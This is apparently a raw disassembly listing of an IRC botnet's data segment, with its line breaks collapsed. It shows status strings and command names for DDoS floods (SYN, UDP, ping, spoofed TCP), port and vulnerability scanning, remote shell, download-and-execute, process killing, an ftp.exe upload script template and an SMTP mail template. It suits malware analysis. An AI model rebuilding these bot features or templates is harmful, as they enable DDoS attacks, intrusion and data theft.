DATA XREF: seg000:00411B70o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 dword_433C74 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00411930o dd 2029206Ch, 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 dword_433CAC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00411917o dd 2029206Ch, 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_433CE0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004118F7o dd 2029206Ch, 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_433D14 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004118DEo dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h dd 2E73h dword_433D40 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:loc_411860o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 10h dword_433D80 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:00411859o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 4 dword_433DB8 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:loc_411813o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_433DF4 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:00411809o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 10h aAll db 'all',0 ; DATA XREF: seg000:004117EFo aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:00411764o ; seg000:loc_41256Fo align 4 dword_433E44 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004116EEo dd 2029206Ch, 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_433E7C db 2 ; DATA XREF: seg000:loc_4116D9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0 align 4 unk_433EB4 db 2 ; DATA XREF: seg000:004116CFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFileOpenedS db 'File opened: %s',0 dword_433EE4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004116A6o dd 2029206Ch, 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 4 dword_433F1C dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh ; DATA XREF: seg000:loc_41168Ao dd 2029206Ch, 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_433F58 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh ; DATA XREF: seg000:0041165Co dd 2029206Ch, 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 dword_433F88 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:loc_411628o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToTermin db ' Failed to terminate process: %s',0 align 4 dword_433FCC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:0041161Eo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessKilledS db ' Process killed: %s',0 align 4 dword_434004 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:loc_4115C8o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 align 4 dword_43404C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:004115C1o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessKilledI db ' Process killed ID: %s',0 dword_434084 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: seg000:00411580o dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h dd 2E277325h, 0 dword_4340B4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:004114FBo dd 2029206Ch, 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 4 dword_4340EC dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: seg000:00411489o dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_434114 db 2 ; DATA XREF: seg000:0041146Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start connection thread, error: <%d>.',0 dword_434164 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: seg000:004113FFo dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h dd 0 dword_434190 dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh ; DATA XREF: seg000:loc_411390o dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh dd 2E746E65h, 0 unk_4341C0 db 2 ; DATA XREF: seg000:00411386o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Dh ; m db 69h, 72h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_4341F0 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: seg000:00411355o dd 2029206Ch, 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h dd 7325h dword_43421C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: seg000:0041134Ao dd 2029206Ch, 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 4 dword_43425C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0041130Ao dd 2029206Ch, 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 10h dword_434290 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004112F6o dd 2029206Ch, 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 4 dword_4342C8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00411271o dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h dd 2E73h dword_4342F4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00411236o dd 2029206Ch, 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 dword_434338 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0041121Ao dd 2029206Ch, 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 10h dword_434370 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00411198o dd 2029206Ch, 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 10h dword_4343A0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0041115Do dd 2029206Ch, 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 10h dword_4343D0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00411107o dd 2029206Ch, 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 10h dword_434400 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0041109Fo dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0 dword_434428 dd 54524150h, 0D732520h, 0Ah ; seg000:004118E9o dword_434434 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00411036o dd 2029206Ch, 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: seg000:00411028o align 10h dword_434470 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: seg000:00410FFFo dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h dd 7325203Ah, 0 dword_4344A0 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: seg000:00410F94o dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h dd 25203A29h, 73h dword_4344D0 dd 45444F4Dh, 732520hdword_4344D8 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: seg000:00410F0Ao dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h dd 25203A29h, 73h dword_434508 dd 4B43494Eh, 732520h ; seg000:00411730o dword_434510 dd 4E494F4Ah, 20732520h, 7325hdword_43451C dd 54524150h, 732520hdword_434524 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:loc_410E18o dd 2029206Ch, 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 4 dword_43456C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00410DE1o dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah dd 0 aRepeat db 'repeat',0 ; DATA XREF: seg000:00410D90o align 10h dword_4345A0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:loc_410D48o dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_4345C8 dd 25207325h, 73252073h, 73253A20h, 0 ; seg000:00410DBBo ... unk_4345D8 db 2 ; DATA XREF: seg000:loc_410CB7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_434630 db 2 ; DATA XREF: seg000:00410CADo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 10h unk_434680 db 2 ; DATA XREF: seg000:00410C3Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 10h aSS_exe db '%s%s.exe',0 ; DATA XREF: seg000:00410B98o align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 65h ; e db 78h, 65h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 db 2 dup(20h), 43h db 6Fh ; o db 2 dup(6Dh), 61h db 6Eh ; n db 64h, 73h, 3Ah db 20h db 25h, 73h, 0 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 65h ; e db 78h, 65h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 10h unk_434730 db 2 ; DATA XREF: seg000:00410A98o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_12 db ' Failed to start search thread, error: <%d>.',0 align 10h unk_434780 db 2 ; DATA XREF: seg000:00410A1Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_4347C4 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: seg000:loc_410980o ; seg000:00411587o dd 29206C1Fh, 0BBBB0220h, 2002h unk_4347E4 db 2 ; DATA XREF: seg000:0041096Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_43481C db 2 ; DATA XREF: seg000:loc_410949o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 4 unk_434868 db 2 ; DATA XREF: seg000:0041093Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_4348B4 db 2 ; DATA XREF: seg000:004108C5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 4 unk_4348F4 db 2 ; DATA XREF: seg000:0041084Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 6Ch, 6Fh, 6Eh db 65h ; e db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_13 db ' Failed to start clone thread, error: <%d>.',0 unk_434940 db 2 ; DATA XREF: seg000:004107DFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 6Ch, 6Fh, 6Eh db 65h ; e db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_434984 db 2 ; DATA XREF: seg000:00410757o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_4349D0 db 2 ; DATA XREF: seg000:004106DFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 4 dword_434A14 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: seg000:0041064Ao dd 2029206Ch, 2BBBB02h aFailedToSta_15 db ' Failed to start flood thread, error: <%d>.',0 align 10h dword_434A60 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: seg000:004105D0o dd 2029206Ch, 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_434AA0 db 2 ; DATA XREF: seg000:00410560o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_434AF4 db 2 ; DATA XREF: seg000:004104F1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 unk_434B34 db 2 ; DATA XREF: seg000:00410422o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 unk_434B88 db 2 ; DATA XREF: seg000:004103B3o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 align 4 unk_434BD8 db 2 ; DATA XREF: seg000:00410328o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start scan thread, error: <%d>.',0 align 4 unk_434C28 db 2 ; DATA XREF: seg000:004102B9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: seg000:00410235o align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: seg000:00410138o align 4 dword_434C98 dd 54434101h, 204E4F49h, 17325h ; seg000:004110E8o dword_434CA4 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:0041004Bo ; seg000:00411BE1o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_17 db ' Failed to start scan thread, error: <%d>.',0 dword_434CF0 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:0040FFDCo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: seg000:0040FFB1o ; seg000:00411B45o align 4 aRandom_0 db 'Random',0 ; DATA XREF: seg000:0040FFAAo ; seg000:00411B3Eo align 4 dword_434D7C dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:0040FE6Co dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_18 db ' Failed to start scan, no IP specified.',0 align 4 dword_434DC8 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:0040FD25o ; seg000:00411989o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 align 4 dword_434E1C dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: seg000:0040FCF4o dd 2029206Ch, 2BBBB02h aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_434E68 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: seg000:0040FC85o dd 2029206Ch, 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: seg000:0040FBBEo align 4 unk_434EDC db 2 ; DATA XREF: seg000:0040FBA9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_20 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_434F28 db 2 ; DATA XREF: seg000:0040FB3Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_434F84 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:loc_40FAA1o dd 2029206Ch, 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 10h dword_434FD0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:0040FA97o dd 2029206Ch, 2BBBB02h aFailedToSta_21 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_43501C dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:0040FA1Do dd 2029206Ch, 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: seg000:0040FA0Do align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: seg000:0040FA06o dword_435074 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:0040F971o dd 2029206Ch, 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_4350B0 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: seg000:loc_40F889o dd 2029206Ch, 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_4350F0 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: seg000:0040F882o dd 2029206Ch, 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: seg000:0040F86Bo aSS_4 db '-s:%s',0 ; DATA XREF: seg000:0040F854o align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: seg000:0040F834o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: seg000:0040F7FFo align 4 dword_43516C dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: seg000:0040F781o dd 2029206Ch, 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 10h aFtp_upload db 'ftp.upload',0 ; DATA XREF: seg000:0040F75Eo align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: seg000:0040F73Bo align 4 aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: seg000:0040F724o align 4 unk_4351C8 db 3 ; DATA XREF: seg000:0040F6E3o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 65h, 6Eh db 7Ah ; z db 31h, 30h, 62h db 20h db 3, 32h, 2Eh db 2Eh ; . db 20h, 3, 31h db 35h ; 5 db 28h, 65h, 6Dh db 61h ; a db 69h, 6Ch, 3 db 32h ; 2 db 2Eh, 3, 31h db 35h ; 5 db 6Dh, 6Fh, 64h db 29h ; ) db 20h, 3, 32h db 0BBh ; » db 3, 31h, 35h aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: seg000:0040F66Fo db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a_: ; DATA XREF: seg000:0040F5D3o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: seg000:0040F584o align 4 aUsa db 'usa',0 ; DATA XREF: seg000:0040F56Do aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: seg000:0040F556o align 4 aPg db 'pg',0 ; DATA XREF: seg000:0040F53Fo align 10h aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: seg000:0040F528o align 4 aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: seg000:0040F511o align 4 aPu db 'pu',0 ; DATA XREF: seg000:0040F4FAo align 10h aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: seg000:0040F4E3o align 4 aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: seg000:0040F4CCo align 4 aVuln_start db 'vuln.start',0 ; DATA XREF: seg000:0040F49Eo align 4 aClone_ac db 'clone.ac',0 ; DATA XREF: seg000:0040F475o align 4 aClone_action db 'clone.action',0 ; DATA XREF: seg000:0040F45Eo align 4 aClone_pm db 'clone.pm',0 ; DATA XREF: seg000:0040F447o align 10h aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: seg000:0040F430o align 10h aEnz_ps db 'enz.ps',0 ; DATA XREF: seg000:0040F419o align 4 aEnz_portscan db 'enz.portscan',0 ; DATA XREF: seg000:0040F402o align 4 aServer_rd_on db 'server.rd.on',0 ; DATA XREF: seg000:0040F3EBo align 4 aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: seg000:0040F3D4o align 4 aD1 db 'd1',0 ; DATA XREF: seg000:0040F3BDo align 10h aDonad_frwww db 'donad.frwww',0 ; DATA XREF: seg000:0040F3A6o aSy1 db 'sy1',0 ; DATA XREF: seg000:0040F38Fo aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: seg000:0040F378o align 10h aDs_rm db 'ds.rm',0 ; DATA XREF: seg000:0040F361o align 4 aDs_ack db 'ds.ack',0 ; DATA XREF: seg000:0040F34Ao align 10h aDs_sy1 db 'ds.sy1',0 ; DATA XREF: seg000:0040F333o align 4 aClone_start db 'clone.start',0 ; DATA XREF: seg000:0040F31Co aClone_make db 'clone.make',0 ; DATA XREF: seg000:0040F305o align 10h 